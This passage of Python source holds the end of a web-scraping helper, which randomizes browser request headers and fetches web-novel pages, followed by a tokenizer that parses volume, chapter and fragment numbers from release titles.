	"Opera/9.20 (Macintosh; Intel Mac OS X; U; en)",
	"Opera/9.64 (Macintosh; PPC Mac OS X; U; en) Presto/2.1.1",
	"Opera/9.64 (X11; Linux i686; U; Linux Mint; nb) Presto/2.1.1",
	"Opera/9.80 (Macintosh; Intel Mac OS X 10.4.11; U; en) Presto/2.7.62 Version/11.00",
	"Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
	"Opera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.6.30 Version/10.61",
	"Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14",
	"Opera/9.80 (Windows NT 6.1; U; en) Presto/2.7.62 Version/11.01",
	"Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.16",
	"Opera/9.80 (X11; FreeBSD 8.1-RELEASE i386; Edition Next) Presto/2.12.388 Version/12.10",
	"Opera/9.80 (X11; Linux i686) Presto/2.12.388 Version/12.16",
	"Opera/9.80 (X11; Linux i686; U; en) Presto/2.2.15 Version/10.10",
	"Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00",
	"Uzbl (Webkit 1.3) (Linux i686 [i686])",

]

ACCEPT_LANGUAGE =[

	"en-gb,en-us;q=0.7,de-ch;q=0.3",
	"en-GB,en-US;q=0.8,en;q=0.6",
	"en-GB,en-US;q=0.8,en;q=0.6",
	"en-US",
	"en-us, en;q=1.0,fr-ca, fr;q=0.5,pt-br, pt;q=0.5,es;q=0.5",
	"en-US,de-DE;q=0.5",
	"en-us,en;q=0.5",
	"en-US,en;q=0.8",
	"en-US,en;q=0.8,en-GB;q=0.6,fr-CA;q=0.4,fr;q=0.2",
	"en-US,en;q=0.8,es-419;q=0.6",
	"en-us,en;q=0.8,es;q=0.5,es-mx;q=0.3",
	"en-US,en;q=0.8,es;q=0.6",
	"en-US,en;q=0.8,pl;q=0.6",
	"en-US,en;q=0.8,pl;q=0.6",
	"en-US,en;q=0.9",
	"en-US,en;q=0.9,fr;q=0.8,de;q=0.7,id;q=0.6",
	"en-US,en;q=0.9,ja;q=0.8,fr;q=0.7,de;q=0.6,es;q=0.5,it;q=0.4,nl;q=0.3,sv;q=0.2,nb;q=0.1",

]

ACCEPT = [
		["text/html","application/xhtml+xml","application/xml;q=0.9"],
		["application/xml","application/xhtml+xml","text/html;q=0.9"," text/plain;q=0.8","image/png"],
		["text/html","application/xhtml+xml","application/xml;q=0.9"],
		["image/jpeg","application/x-ms-application","image/gif","application/xaml+xml","image/pjpeg","application/x-ms-xbap","application/x-shockwave-flash","application/msword"],
		["text/html","application/xml;q=0.9","application/xhtml+xml","image/png","image/webp","image/jpeg","image/gif","image/x-xbitmap"]
]

ACCEPT_POSTFIX = ["*/*;q=0.8", "*/*;q=0.5", "*/*;q=0.8", "*/*", "*/*;q=0.1"]

ENCODINGS = [['gzip'], ['gzip', 'deflate'], ['gzip', 'deflate', 'sdch']]


def getUserAgent():
	'''
	Generate a randomized user agent by permuting a large set of possible values.
	The returned user agent should look like a valid, in-use brower, with a specified preferred language of english.

	Return value is a list of tuples, where each tuple is one of the user-agent headers.

	Currently can provide approximately 147 * 17 * 5 * 5 * 2 * 3 * 2 values, or ~749K possible
	unique user-agents.
	'''
	coding = random.choice(ENCODINGS)
	random.shuffle(coding)
	coding = ",".join(coding)

	accept = random.choice(ACCEPT)
	random.shuffle(accept)
	accept.append(random.choice(ACCEPT_POSTFIX))
	accept = random.choice((", ", ",")).join(accept)

	user_agent = [
				('User-Agent'		,	random.choice(USER_AGENTS)),
				('Accept-Language'	,	random.choice(ACCEPT_LANGUAGE)),
				('Accept'			,	accept),
				('Accept-Encoding'	,	coding)
				]
	return user_agent




# This file based heavily on the UA List, Copyright (c) 2014, Harald Hope
# This list was released under the BSD 2 clause.

# Home page: techpatterns.com/forums/about304.html

# Special thanks to the following:
# User-Agent Switcher: www.chrispederick.com/work/user-agent-switcher
# Firefox history: www.zytrax.com/tech/web/firefox-history.html
# Mobile data: wikipedia.org/wiki/List_of_user_agents_for_mobile_phones
# Mobile data: www.zytrax.com/tech/web/mobile_ids.html
# Current User-Agents: http://myip.ms/browse/comp_browsers
# User-agent data: www.zytrax.com/tech/web/browser_ids.htm
# User-agent strings: www.useragentstring.com
# User-agent strings: www.webapps-online.com/online-tools/user-agent-strings/dv/

# License: BSD 2 Clause
# All rights reserved. Redistribution and use in source and binary forms,
# with or without modification, are permitted provided that the following
# conditions are met:
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright notice, this
# list of conditions and the following disclaimer in the documentation and/or other
# materials provided with the distribution.
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 'AS IS'
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER
# IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.




if __name__ == "__main__":
	import logSetup
	import sys
	logSetup.initLogging()
	print("Oh HAI")
	wg = WebGetRobust()

	if len(sys.argv) == 3:
		getUrl = sys.argv[1]
		fName  = sys.argv[2]
		print(getUrl, fName)

		content = wg.getpage(getUrl)

		try:
			out = content.encode("utf-8")
		except:
			out = content

		with open(fName, 'wb') as fp:
			fp.write(out)



	wg.getHead("http://www.novelupdates.com/extnu/125399/", addlHeaders={"Referer" : "http://www.novelupdates.com/series/limitless-sword-god/"})

	# # content, handle = wg.getpage("http://japtem.com/wp-content/uploads/2014/07/Arifureta.png", returnMultiple = True)
	# # print((handle.headers.get('Content-Encoding')))
	# # print(len(content))
	# # content, handle = wg.getpage("http://japtem.com/wp-content/uploads/2014/03/knm.png", returnMultiple = True)
	# # print((handle.headers.get('Content-Encoding')))
	# # content, handle = wg.getpage("https://www.google.com/images/srpr/logo11w.png", returnMultiple = True)
	# # print((handle.headers.get('Content-Encoding')))
	# # content, handle = wg.getpage("http://www.doujin-moe.us/ajax/newest.php", returnMultiple = True)
	# # print((handle.headers.get('Content-Encoding')))

	# # print("SoupGet")
	# # content_1 = wg.getpage("http://www.lighttpd.net", soup = True)

	# # content_2 = wg.getSoup("http://www.lighttpd.net")
	# # assert(content_1 == content_2)

	# gTest = wg.getpage('https://drive.google.com/folderview?id=0B2lnOX3NF2LOeW55WlpYQWIxYnM')
	# print(type(gTest))

	# gTest = wg.getpage('https://www.google.com/search?q=Gödel')
	# gTest = wg.getpage('https://www.google.com/search?q=禁断の愛')
	# gTest = wg.getpage('http://www.fanfiction.net/s/6711282/1/Jag-%C3%A4lskar-dig')
	# print(type(gTest))



# if __name__ == "__main__":
# 	print("User agent", getUserAgent())







import abc
import string
import re
import semantic.numbers
import traceback

ONE_WORD_POSTFIX_KEYS = [
		'prologue',
		'afterword',
		'epilogue',
		'interlude',
		'foreword',
		'appendix',
		'intermission',
		'sidestory',
		'side story',
		'extra',
		'illustrations',
	]
MULTI_WORD_POSTFIX_KEYS = [
		'side story',
	]

# Order matters! Items are checked from left to right.
VOLUME_KEYS_GLOBAL   = [
		'volume',
		'season',
		'book',
		'vol',
		'vol.',
		'arc',
		'v',
		'b',
		's',
	]


FRAGMENT_KEYS_GLOBAL = [
		'part',
		# 'episode',
		'pt',
		'part',
		'parts',
		'page',
		'p',
		'pt.',
	]

CHAPTER_KEYS_GLOBAL  = [
		'chapter',
		'chapters',
		'chapter(s)',
		'chap',
		'chp',
		'ch',
		'c',
	]

POSTFIX_SPLITS = [
		'-',
		'–',  # FUCK YOU UNICODE
		':',
	]

# Additional split characters
SPLIT_ON = [
		"!",
		")",
		"(",
		"[",
		"]",

		# Fucking quotes
		':',
		'"',
		'/',
		'\\',
	]

class NumberConversionException(Exception):
	pass

################################################################################################################################
################################################################################################################################
################################################################################################################################

def intersperse(iterable, delimiter):
	it = iter(iterable)
	yield next(it)
	for x in it:
		yield delimiter
		yield x

class SplitterBase(object):
	__metaclass__ = abc.ABCMeta

	def process(self, inarr):
		# print("Splitting!", (self.__class__.__name__, inarr))
		if isinstance(inarr, str):
			tmp = self.split_component(inarr)
			assert isinstance(tmp, (list, tuple))
			return tmp
		elif isinstance(inarr, (list, tuple)):
			ret = []
			for chunk in inarr:
				if isinstance(chunk, TokenBase):
					ret.append(chunk)
				else:
					tmp = self.split_component(chunk)
					assert isinstance(tmp, (list, tuple))
					[ret.append(subcmp) for subcmp in tmp]

			# print("Split:    ", (self.__class__.__name__, inarr))
			return ret

	@abc.abstractmethod
	def split_component(self, instr):
		pass

class SpaceSplitter(SplitterBase):
	def split_component(self, instr):
		return list(intersperse(instr.split(" "), " "))

class CommaSplitter(SplitterBase):
	def split_component(self, instr):
		return list(intersperse(instr.split(","), ","))

class AsciiDecimalSplitter(SplitterBase):
	def split_component(self, instr):

		if (not " " in instr and "." in instr and any([tmp in instr for tmp in string.ascii_letters])):
			asciinum = [any([letter in tmp for letter in string.ascii_letters]) for tmp in instr.split(".")]
			asciicnt = [tmp for tmp in asciinum if tmp]
			if len(asciicnt) >= 2:
				return list(intersperse(instr.split("."), "."))
		return [instr]

class CharSplitter(SplitterBase):
	def split_component(self, instr):
		ret = []
		agg = ""
		for letter in instr:
			if letter in SPLIT_ON:
				if agg:
					ret.append(agg)
					agg = ""
				ret.append(letter)
			else:
				agg += letter
		if agg:
			ret.append(agg)
		return ret


class LetterNumberSplitter(SplitterBase):
	def split_component(self, instr):

		splits = [
			re.compile(r"([a-z_]+)(\.?)([0-9\.]+)", re.IGNORECASE),
			re.compile(r"([0-9\.]+)(\.?)([a-z_]+)", re.IGNORECASE),
			re.compile(r"([a-z_]+)(\-?)([0-9\.]+)", re.IGNORECASE),
			re.compile(r"([0-9\.]+)(\-?)([a-z_]+)", re.IGNORECASE),

			re.compile(r"([a-z_\-]+)(\.)([0-9\.]+)", re.IGNORECASE),
			re.compile(r"([0-9\.]+)(\.)([a-z_\-]+)", re.IGNORECASE),
		]
		for split in splits:
			match = split.fullmatch(instr)
			# print((instr, split, match, instr))
			if match:
				return list(match.groups())
				# print("Match:", match, match.groups())

		return [instr]

class MiscLetterSplitter(SplitterBase):
	def split_component(self, instr):

		splits = [
			# Split <letter>.<letter> to ('<letter>', '.', '<letter>')
			re.compile(r"(.*?[a-z]+)(\.)([a-z]+.*?)", re.IGNORECASE),

			# Split <whitespace>-<letter> to ('<whitespace>', '.', '<letter>')
			re.compile(r"((?:.*?[\W]|^))(\-)([a-z]+.*?)", re.IGNORECASE),

			# Split <letter>-<whitespace> to ('<letter>', '.', '<whitespace>')
			re.compile(r"([a-z]+.*?)(\-)((?:.*?[\W]|$))", re.IGNORECASE),

			# Detach commas from everything.
			re.compile(r"(.*?)(,)(.*?)", re.IGNORECASE),
		]
		for split in splits:
			match = split.fullmatch(instr)
			# print((instr, split, match, instr))
			if match:
				return list(match.groups())
				# print("Match:", match, match.groups())

		return [instr]

class HyphenatedLetterSplitter(SplitterBase):
	def split_component(self, instr):

		splits = [
			re.compile(r"([a-z]+)(\-)([a-z]+)", re.IGNORECASE),
			# re.compile(r"([a-z]+)(\-)([a-z]+)", re.IGNORECASE),
		]
		for split in splits:
			match = split.fullmatch(instr)
			if match:
				return list(match.groups())
				# print("Match:", match, match.groups())

		return [instr]

class NonNumericDecimalSplitter(SplitterBase):
	def split_component(self, instr):
		ret = []
		agg = ""
		prev = None
		# print("Splitting: '%s'" % instr)
		for letter in instr:
			if (prev and
					(
							prev in string.digits and letter not in string.digits
						or
							letter in string.digits and prev not in string.digits
						)):

				if prev.lower() == "r":
					# print("Not splitting (1):", letter, prev)
					prev = letter
					agg += letter

				# Don't split on letter-decimal sequences
				elif (
						(prev.lower() in string.digits and letter.lower() == ".")
						or
						(letter.lower() in string.digits and prev.lower() == ".")
						):
					# print("Not splitting (2):", letter, prev)
					prev = letter
					agg += letter
				else:
					if agg:
						ret.append(agg)
						agg = ""
					agg += letter
					# ret.append(letter)
					# print("Splitting, ", letter, prev)
					prev = letter
			else:
				# print("Not splitting (3):", (letter, prev, agg))
				prev = letter
				agg += letter

		# print("End: ", (ret, agg))
		if agg:
			ret.append(agg)
		# print("Split: '%s'" % ret)
		return ret

#############################

################################################################################################################################
################################################################################################################################
################################################################################################################################

class TokenBase(object):
	def __init__(self, prefix, intermediate, content):
		self.prefix       = prefix
		self.intermediate = intermediate
		self.content      = content

	def string(self):
		return self.content

	def __repr__(self):
		# print("Token __repr__ call!")
		ret = "<{:14} - contents: '{}' '{}' '{}'>".format(self.__class__.__name__, self.prefix, self.intermediate, self.content)
		return ret


class DateTextToken(TokenBase):
	def __init__(self, content):
		self.content      = content

	def __repr__(self):
		# print("Token __repr__ call!")
		ret = "<{:14} - contents: '{}'>".format(self.__class__.__name__, self.content)
		return ret


class IgnoreTextToken(TokenBase):
	def __init__(self, content):
		self.content      = content

	def __repr__(self):
		# print("Token __repr__ call!")
		ret = "<{:14} - contents: '{}'>".format(self.__class__.__name__, self.content)
		return ret

class FreeTextToken(TokenBase):
	def __init__(self, content):
		self.content      = content

	def __repr__(self):
		# print("Token __repr__ call!")
		ret = "<{:14} - contents: '{}'>".format(self.__class__.__name__, self.content)
		return ret

class NumericToken(TokenBase):

	def __repr__(self):
		# print("Token __repr__ call!")
		ret = "<{:14} - contents: '{}' '{}' '{}' (numeric: {}, ascii: {}, parsed: {}>".format(self.__class__.__name__,
			self.prefix,
			self.intermediate,
			self.content,
			self.is_decimal(),
			self.is_ascii(),
			self.to_number(tok_text=self.content, parse_ascii=True) if self.is_ascii() else 'No'
			)
		return ret

	def to_number(self, tok_text=None, parse_ascii=False):
		if tok_text is None:
			tok_text = self.content

		if not tok_text:
			raise NumberConversionException("Failed to convert '%s' to a number!" % (tok_text, ))
		# Handle strings with multiple decimal points, e.g. '01.05.15'
		if tok_text.count(".") > 1:
			raise NumberConversionException("Failed to convert '%s' to a number! Too many decimal points" % (tok_text, ))

		# NumberService() for some reason converts "a" to "one", which fucks everything up.
		# Anyways, if the token is "a", stop it from doing that.
		if tok_text.strip().lower() == 'a':
			raise NumberConversionException("Failed to convert '%s' to a number!" % (tok_text, ))

		# Make sure we have at least one digit
		if not parse_ascii and not any([char in '0123456789' for char in tok_text]):
			raise NumberConversionException("Failed to convert '%s' to a number! No numbers, and not trying to parse ascii numbers" % (tok_text, ))

		if all([char in '0123456789.' for char in tok_text]) and any([char in '0123456789' for char in tok_text]):
			return float(tok_text)

		if parse_ascii:
			# return float(tok_text)
			val = self.ascii_numeric(tok_text)
			# print("Ascii_numeric call return: ", val)
			if val != False:
				return val

			raise NumberConversionException("Call assumes '%s' is numeric, and it's not." % (tok_text))
			# assert self.is_valid(), "getNumber() can only be called if the token value is entirely numeric!"


		raise NumberConversionException("Failed to convert '%s' to a number!" % (tok_text, ))



	def is_valid(self, parse_ascii):
		'''
		Does the token contain a value that could (probably) be
		converted to an integer without issue.

		TODO: just use try float(x)?
		'''

		try:
			self.to_number(tok_text=self.content, parse_ascii=parse_ascii)
			return True
		except NumberConversionException:
			return False

	def is_decimal(self):
		try:
			self.to_number(tok_text=self.content, parse_ascii=False)
			return True
		except NumberConversionException:
			return False

	def is_ascii(self):

		if self.ascii_numeric(self.content):
			try:
				self.to_number(tok_text=self.content, parse_ascii=False)
				return False
			except NumberConversionException:
				return True

	def ascii_numeric(self, content):

		bad_chars = [":", ";", ",", "[", "]"]
		for bad_char in bad_chars:
			if bad_char in content:
				content = content.split(bad_char)[0]


		BAD_CHARS = [
			"  ",
			"-",
			"–",
			".",
			":",
		]


		for bad in BAD_CHARS:
			while bad in content:
				content = content.replace(bad, " ")
		if "  " in content:
			content.replace("  ", " ")
		content = content.strip()


		# text-to-number library does stupid things with "a" or "A" (converts them to 1)
		content = content.split(" ")
		if "a" in content: content.remove("a")
		if "A" in content: content.remove("A")
		content = " ".join(content)


		# Spot-patching to fix data corruption issues I've run into:

		# content = content.replace("”", "")
		# content = content.replace("“", "")
		while "  " in content:
			content = content.replace("  ", " ")

		content = content.strip()
		# print("AsciiNumeric concatenated string: '%s'" % content)
		while content:
			try:
				# print("Parsing '%s' for numbers" % content)
				ret = semantic.numbers.NumberService().parseInt(content)
				# print("parsed: ", ret)
				# print(traceback.print_stack())
				return ret
			except semantic.numbers.NumberService.NumberException:
				# print("Failed to parse: ", content)
				try:
					# Try again with any trailing hyphens removed
					# semantic assumes "twenty-four" should parse as "twenty four".
					# this is problematic when you have "chapter one - Thingies", which
					# tries to parse as "one - thingies", and fails.
					# However, we only want to invoke this fallback if
					# we can't parse /with/ the hyphen, as lots of sources actually do release
					# as "twenty-four"
					if "-" in content:
						content = content.split("-")[0].strip()
						val = semantic.numbers.NumberService().parseInt(content)
						return val

					# It also mangles trailing parenthesis, for some reason.
					if ")" in content or "(" in content:
						content = content.split(")")[0].split("(")[0].strip()
						val = semantic.numbers.NumberService().parseInt(content)
						return val


				except semantic.numbers.NumberService.NumberException:
					pass

				# print("Parse failure!")
				# traceback.print_exc()
				if not " " in content:
					# print("Parse failure?")
					return False
				content = content.rsplit(" ", 1)[0]
		# print("Parse reached end of buffer without content")
		return False



class VolumeToken(NumericToken):
	pass
class ChapterToken(NumericToken):
	pass
class FreeChapterToken(NumericToken):
	pass
class FragmentToken(NumericToken):
	pass

class CompoundToken(NumericToken):

	def __init__(self, prefix, intermediate, component_1, spacer, component_2):
		self.prefix       = prefix
		self.intermediate = intermediate
		self.component_1  = component_1
		self.spacer       = spacer
		self.component_2  = component_2

	def string(self):
		return self.component_1+self.spacer+self.component_2
	def string_1(self):
		return self.component_1
	def string_2(self):
		return self.component_2

	def is_valid_1(self, parse_ascii):
		try:
			self.to_number(tok_text=self.component_1, parse_ascii=parse_ascii)
			return True
		except NumberConversionException:
			return False

	def is_valid_2(self, parse_ascii):
		try:
			self.to_number(tok_text=self.component_2, parse_ascii=parse_ascii)
			return True
		except NumberConversionException:
			return False

	def to_number_1(self, parse_ascii):
		return self.to_number(tok_text=self.component_1, parse_ascii=parse_ascii)

	def to_number_2(self, parse_ascii):
		return self.to_number(tok_text=self.component_2, parse_ascii=parse_ascii)


	def __repr__(self):
		# print("Token __repr__ call!")
		ret = "<{:14} - contents: '{}' '{}' '{}' '{}' '{}'>".format(self.__class__.__name__, self.prefix, self.intermediate, self.component_1, self.spacer, self.component_2)
		return ret

class CompoundVolChapterToken(CompoundToken):

	def valid_volume(self, parse_ascii):
		return self.is_valid_1(parse_ascii)
	def valid_chapter(self, parse_ascii):
		return self.is_valid_2(parse_ascii)

	def get_volume(self, parse_ascii):
		return self.to_number_1(parse_ascii)
	def get_chapter(self, parse_ascii):
		return self.to_number_2(parse_ascii)

class CompoundChapterFragmentToken(CompoundToken):

	def valid_chapter(self, parse_ascii):
		return self.is_valid_1(parse_ascii)
	def valid_fragment(self, parse_ascii):
		return self.is_valid_2(parse_ascii)

	def get_chapter(self, parse_ascii):
		return self.to_number_1(parse_ascii)
	def get_fragment(self, parse_ascii):
		return self.to_number_2(parse_ascii)

################################################################################################################################
################################################################################################################################
################################################################################################################################


# !?^%!$,
# !?^%!$,!

# class Token(object):
class GlobBase(object):
	__metaclass__ = abc.ABCMeta

	def get_preceeding_text(self, prefix_arr):
		intermediate = ""
		consumed = 0

		# print("Get preceeding text:", prefix_arr)
		for idx in range(len(prefix_arr)-1, 0-1, -1):
			if isinstance(prefix_arr[idx], TokenBase):
				# print("Get preceeding text returning:", (prefix_arr[:idx+1], None, intermediate))
				return prefix_arr[:idx+1], None, intermediate
			if all([char in string.punctuation+string.whitespace for char in prefix_arr[idx]]):
				intermediate = prefix_arr[idx] + intermediate
				consumed += 1
			else:
				# print("Get preceeding text returning:", (prefix_arr[:idx], prefix_arr[idx], intermediate))
				return prefix_arr[:idx], prefix_arr[idx], intermediate

		# print("get_preceeding_text", ([], None, intermediate))
		return [], None, intermediate

	def process(self, inarr):
		# print("%s Globber processing" % self.__class__.__name__, inarr)
		assert isinstance(inarr, (list, tuple))
		negoff = 0
		original_length = len(inarr)
		# print("Call!")
		for idx in range(original_length):
			locidx = idx - negoff

			# If a token attaches to too many items, we can wind up with the locidx going
			# negative. If this happens, we just skip until it's a valid index
			# ['Chapter', ' ', 'twenty', '-', 'one', ': ', 'thing', ' ', 'thing', ' ', 'thingy']
			# Idx 2 triggers the chapter globber to consume the first /5/ items:
			# [<ChapterToken   - contents: 'Chapter' ' ' 'twenty-one' (numeric: False, ascii: True, parsed: 21>, ': ', 'thing', ' ', 'thing', ' ', 'thingy']
			# Idx 3 is then subtracted -4, so we get -1.
			# As such, we spin until we're back at index 0
			if locidx < 0:
				# print("Skipping!", idx, negoff, locidx)
				continue

			# print("Output: ", (inarr, ))
			# print("Sizes: ", (len(inarr), negoff, idx, original_length, locidx, inarr[locidx]))
			assert locidx >= 0

			p1 = inarr[:locidx]
			p2 = inarr[locidx]
			p3 = inarr[locidx+1:]

			# print("%s Passed. " % self.__class__.__name__)
			old = inarr
			# print("Input:  ", (old, ))
			# print("Input:  ", (self.__class__.__name__, p1, p2, p3))
			before, target, after = self.attach_token(p1, p2, p3)

			# if inarr[locidx] == '24':
			# print("%s Return: " % self.__class__.__name__, (before, target, after))
			#
			inarr = before
			if target:
				inarr = inarr + [target]
			if len(after):
				inarr = inarr + after


			negoff = original_length - len(inarr)
			# print("Globber step", inarr)

		# print("Globber return", inarr)
		return inarr

	@abc.abstractmethod
	def attach_token(self, before, target, after):
		raise RuntimeError("This should never be called!")


class VolumeChapterFragGlobber(GlobBase):


	VOLUME_KEYS   = VOLUME_KEYS_GLOBAL
	FRAGMENT_KEYS = FRAGMENT_KEYS_GLOBAL
	CHAPTER_KEYS  = CHAPTER_KEYS_GLOBAL

	ALLOWABLE_INTERMEDIATE_CHARS = [
		" ",
		".",
		":",
	]

	def attach_token(self, before, target, after):
		# print("AttachToken: ", (before, target, after))
		before, prec, intervening = self.get_preceeding_text(before)


		if target in self.ALLOWABLE_INTERMEDIATE_CHARS or not isinstance(target, str):
			if prec:
				before.append(prec)
			if intervening:
				before.append(intervening)
		else:
			if prec:
				# print("Prec:", prec, prec.lower() in self.CHAPTER_KEYS)
				clstype = None
				if prec.lower() in self.VOLUME_KEYS:
					clstype = VolumeToken
				elif prec.lower() in self.CHAPTER_KEYS:
					clstype = ChapterToken
				elif prec.lower() in self.FRAGMENT_KEYS:
					clstype = FragmentToken

				if clstype:
					# print("Attaching:", prec, clstype)
					tok = clstype(prec, intervening, target)
					# print(tok, tok.is_decimal(), tok.content)
					if tok and tok.is_decimal():
						return before, tok, after

			if prec:
				before.append(prec)
			if intervening:
				before.append(intervening)

		return before, target, after


class AsciiVolumeChapterFragGlobber(GlobBase):


	VOLUME_KEYS   = VOLUME_KEYS_GLOBAL
	FRAGMENT_KEYS = FRAGMENT_KEYS_GLOBAL
	CHAPTER_KEYS  = CHAPTER_KEYS_GLOBAL

	ALLOWABLE_INTERMEDIATE_CHARS = [
		"  ",
		" ",
		"-",
		"-",
		".",
		":",
	]

	def attach_token(self, before, target, after):
		inchunks = len(before) + 1 + len(after)
		orig = (before, target, after)

		# print("AttachToken: ", (before, target, after))
		# if len(after) == 3:
		# 	target = before[-1] + target
		# 	before = before[:-1]

		after = after
		before, prec, intervening = self.get_preceeding_text(before)
		# print("Call         ", (before, target, after))
		# print("(attach_token) Getting text preceding '%s' (%s)" % (target, type(target)))
		# print("(attach_token) Text '%s' '%s' '%s' " % (before, prec, intervening))

		if target in self.ALLOWABLE_INTERMEDIATE_CHARS or not isinstance(target, str):
			# print("Wut")
			if prec:
				before.append(prec)
			if intervening:
				before.append(intervening)
		else:
			if prec:
				# print("Prec:", prec, prec.lower() in self.CHAPTER_KEYS)
				clstype = None
				if prec.lower() in self.VOLUME_KEYS:
					clstype = VolumeToken
				elif prec.lower() in self.CHAPTER_KEYS:
					clstype = ChapterToken
				elif prec.lower() in self.FRAGMENT_KEYS:
					clstype = FragmentToken

				last = None
				lasttok = None
				lastidx = None
				if clstype:
					tgtstr = target
					# We pad after with a empty string, so the first evauluation is /just/ tgtstr.
					for idx, value in enumerate([""]+after):
						# print("IDX, val:", (tgtstr, idx, value))
						if isinstance(value, str):
							tgtstr += value
							# print("Wut?")
							if value not in self.ALLOWABLE_INTERMEDIATE_CHARS and value.lower() != 'and':

								tok = clstype(prec, intervening, tgtstr)
								# print("Instantiating token: ", (tgtstr, clstype, tok, tok.content))
								if tok.is_ascii():
									num = tok.to_number(parse_ascii=True)
									if num != last:
										# print("Num changed", (prec, intervening, target, after))
										last = num
										lasttok = tok
										lastidx = idx
									else:
										# print("At end of number:", (prec, intervening, target, after))
										# print("At end of number:")
										# print(lasttok)
										# print((idx, before, tgtstr, after[idx-1:]))
										return before, lasttok, after[idx-1:]

						elif lasttok and lasttok.is_valid(parse_ascii=True):
							# print("Found non-string token. Forcing consume to halt.")
							return before, lasttok, after[idx-1:]


					if lasttok and lasttok.is_ascii():
						idx = max(lastidx-1, 0)
						# print("Ending.", (before, lasttok, after[idx:]))
						return before, lasttok, after[idx:]

					# clstype =
				# print("Value:", (prec, intervening, target, after))

			if prec:
				before.append(prec)
			if intervening:
				before.append(intervening)

		# print("Normal return                         ", (before, target, after))
		if inchunks != len(before) + 1 + len(after):
			print("Wut?")
			print("	", (inchunks, len(before) + 1 + len(after)))
			print("	", orig)
			print("	", (before, target, after))
		assert inchunks == len(before) + 1 + len(after), "Wut: %s" % ((inchunks, len(before) + 1 + len(after), orig, (before, target, after)), )
		return before, target, after

class VolumeSpotFixGlobber(VolumeChapterFragGlobber):

	# Order matters! Items are checked from left to right.
	VOLUME_KEYS   = [
			# Spot fixes: Make certain scanlators work:
			'rokujouma',
			'sunlight',
		]


class FractionGlobber(GlobBase):



	FRAGMENT_KEYS = FRAGMENT_KEYS_GLOBAL

	def attach_token(self, before, target, after):
		# print("AttachToken: ", (before, target, after))
		# if len(after) == 3:
		# 	target = before[-1] + target
		# 	before = before[:-1]

		# print("Getting text preceding '%s' (%s)" % (target, type(target)))

		before, prec, intervening = self.get_preceeding_text(before)

		if target == " ":
			if prec:
				before.append(prec)
			if intervening:
				before.append(intervening)

		elif isinstance(target, str):

			match = re.search(r'(\d+)/\d+', target)
			if prec and prec.lower() in self.FRAGMENT_KEYS and match:
				# print("FractionGlobber: ", target)
				p1,  = match.groups()
				# target = DateTextToken(target)
				target = FragmentToken(prec, intervening, p1)
			else:
				if prec:
					before.append(prec)
				if intervening:
					before.append(intervening)
		else:
			if prec:
				before.append(prec)
			if intervening:
				before.append(intervening)

		# print("target:", (prec, target))
		# print((before, prec, intervening, target, after))
		return before, target, after


class CompoundChapterGlobber(GlobBase):

	CHAPTER_KEYS = CHAPTER_KEYS_GLOBAL


	def attach_token(self, before, target, after):
		# print("AttachToken: ", (before, target, after))
		# if len(after) == 3:
		# 	target = before[-1] + target
		# 	before = before[:-1]

		# print("Getting text preceding '%s' (%s)" % (target, type(target)))

		before, prec, intervening = self.get_preceeding_text(before)

		if target == " ":
			if prec:
				before.append(prec)
			if intervening:
				before.append(intervening)

		elif isinstance(target, str):

			match = re.search(r'([\d\.]+)(-)([\d\.]+)', target)
			if prec and prec.lower() in self.CHAPTER_KEYS and match:
				# print("CompoundChapterGlobber: ", target)
				p1, divider, p2 = match.groups()
				# target = DateTextToken(target)
				target = CompoundChapterFragmentToken(prec, intervening, p1, divider, p2 )
			else:
				if prec:
					before.append(prec)
				if intervening:
					before.append(intervening)
		else:
			if prec:
				before.append(prec)
			if intervening:
				before.append(intervening)

		# print("target:", (prec, target))
		# print((before, prec, intervening, target, after))
		return before, target, after


class EpisodeGlobber(GlobBase):
	'''
	If we have a chapter entry before the episode, treat the episode entry as a fragment value.
	If we have a chapter entry /after/ the episode, treat it as a volume.
	If there is no attached chapter at that point, it's either a chapter, or we can't
	properly parse the chapter, so just assume it's a chapter.
	'''

	KEYS = [
			'episode',
			'eps',
			'ep',
		]

	def attach_token(self, before, target, after):
		# print("EpisodeGlobberAttachToken: ", (before, target, after))
		# if len(after) == 3:
		# 	target = before[-1] + target
		# 	before = before[:-1]

		# print("Getting text preceding '%s' (%s)" % (target, type(target)))

		have_chapter_before = any([isinstance(itm, ChapterToken) for itm in before+[target]])
		have_chapter_after  = any([isinstance(itm, ChapterToken) for itm in after])
		before, prec, intervening = self.get_preceeding_text(before)

		if target == " ":
			if prec:
				before.append(prec)
			if intervening:
				before.append(intervening)
		else:
			if prec and prec.lower() in self.KEYS:
				if have_chapter_before:
					target = FragmentToken(prec, intervening, target)
				elif have_chapter_after:
					target = VolumeToken(prec, intervening, target)
				else:
					target = ChapterToken(prec, intervening, target)



			else:
				if prec:
					before.append(prec)
				if intervening:
					before.append(intervening)

		return before, target, after

class FreeNumericChapterGlobber(GlobBase):

	def attach_token(self, before, target, after):
		# print("Attach FreeNumericChapterGlobber: ", target)
		if isinstance(target, str):
			tmp = FreeChapterToken('', '', target)
			if tmp.is_valid(parse_ascii=False):
				# print("Interpreting as FreeChapterToken: ", target)
